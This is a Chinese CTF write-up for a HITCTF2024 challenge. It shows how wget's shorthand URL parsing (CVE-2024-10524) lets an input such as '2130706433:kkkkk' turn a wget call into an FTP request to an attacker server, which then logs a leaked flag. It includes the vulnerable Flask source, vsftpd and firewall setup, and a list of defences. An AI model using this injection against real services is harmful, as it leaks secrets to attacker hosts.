HITCTF2024 wget wp
字数 1328 2025-08-22 18:37:15
HITCTF2024 wget漏洞利用教学文档
漏洞概述
本教学文档基于HITCTF2024比赛中出现的wget漏洞利用题目,涉及CVE-2024-10524漏洞。该漏洞是wget工具的一个速记解析漏洞,允许攻击者通过精心构造的URL绕过预期行为,实现非预期的文件访问。
题目源码分析
题目提供了一个Flask web应用,主要功能如下:
from flask import Flask, request, render_template, jsonify
import subprocess
import os
import base64
app = Flask(__name__)
FLAG = os.getenv("FLAG", "flag{}")
flag_base64 = base64.urlsafe_b64encode(FLAG.encode()).decode()
@app.route("/")
def index():
with open(__file__, "r") as file:
source_code = file.read()
return source_code
@app.route("/execute", methods=["POST"])
def execute():
auth = request.form.get("auth")
if not auth:
return jsonify({"error": "auth is required"}), 401
if any(char in "`!@#$%&*()-=+;.[]{}<>\\|;'\"?/" for char in auth):
return jsonify({"error": "Hacker!"}), 400
try:
command = ["wget", f"{auth}@127.0.0.1:5000/{flag_base64}"]
subprocess.run(command, check=True)
return jsonify({"message": "Command executed successfully"})
except Exception as e:
return jsonify({"error": "Command failed"}), 500
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
关键点:
- 应用接受POST请求到
/execute端点,需要一个auth参数 auth参数有字符过滤,禁止了大多数特殊字符,但允许冒号:- 使用wget命令访问
{auth}@127.0.0.1:5000/{flag_base64}
CVE-2024-10524漏洞原理
wget在处理URL时存在速记解析漏洞:
- 当尝试
wget aaa:bbb@ccc时 - wget会错误地将其解释为
ftp://aaa/bbb@ccc - 其中
bbb@ccc会被识别为一个目录名
漏洞利用步骤
1. 搭建FTP服务器
在攻击者控制的服务器上配置vsftpd服务:
sudo apt install vsftpd
sudo systemctl start vsftpd
sudo systemctl enable vsftpd
修改配置文件/etc/vsftpd.conf:
# 允许匿名用户访问
anonymous_enable=YES
# 匿名用户默认访问位置
anon_root=/home
# 匿名用户不需要输入密码
no_anon_password=YES
# 日志记录
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
# 启用详细日志记录
log_ftp_protocol=YES
dual_log_enable=YES
vsftpd_log_file=/var/log/vsftpd.log
2. 配置防火墙规则
sudo ufw allow 20/tcp
sudo ufw allow 21/tcp
sudo ufw allow 10000:10100/tcp
sudo ufw reload
sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 20 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 10000:10100 -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo apt install iptables-persistent
sudo netfilter-persistent save
重启vsftpd服务:
sudo systemctl restart vsftpd
3. 准备FTP目录结构
在/home目录下创建特定目录:
mkdir /home/kkkkk@127.0.0.1:5000
4. IP地址转换
由于题目过滤了.字符,需要将IP地址转换为十进制形式:
- 使用在线工具将IP地址(如127.0.0.1)转换为2130706433
5. 构造payload
payload格式为:服务器IP的十进制:任意字符串
例如:2130706433:kkkkk
6. 发送恶意请求
向目标服务器的/execute端点发送POST请求,payload为:
auth=2130706433:kkkkk
7. 获取flag
检查FTP服务器日志:
cat /var/log/vsftpd.log
日志中将包含目标服务器尝试访问flag的记录。
漏洞利用原理详解
当发送payload 2130706433:kkkkk时:
- 服务器执行的命令:
command = ["wget", "2130706433:kkkkk@127.0.0.1:5000/{flag_base64}"]
- wget错误解析:
- 将
2130706433:kkkkk@127.0.0.1:5000/flag_base64 - 解释为
ftp://2130706433/kkkkk@127.0.0.1:5000/flag_base64 - 尝试连接到攻击者FTP服务器(2130706433即127.0.0.1)
- 请求路径为
/kkkkk@127.0.0.1:5000/flag_base64
- 由于我们在FTP服务器上创建了
/home/kkkkk@127.0.0.1:5000目录 - wget会尝试列出该目录内容,并在日志中记录完整请求路径
- 通过查看日志即可获取flag的base64编码值
防御措施
- 对用户输入进行更严格的过滤,特别是冒号字符
- 更新wget到修复此漏洞的版本
- 使用更安全的文件下载方式替代直接调用wget
- 实施最小权限原则,限制子进程的执行权限
总结
本漏洞利用展示了如何通过wget的解析漏洞绕过安全限制,实现非预期的文件访问。关键在于:
- 识别wget的速记解析行为
- 利用允许的冒号字符构造恶意payload
- 通过FTP日志记录获取敏感信息
这种类型的漏洞强调了输入验证的重要性,以及在设计系统时考虑所有可能的解析行为。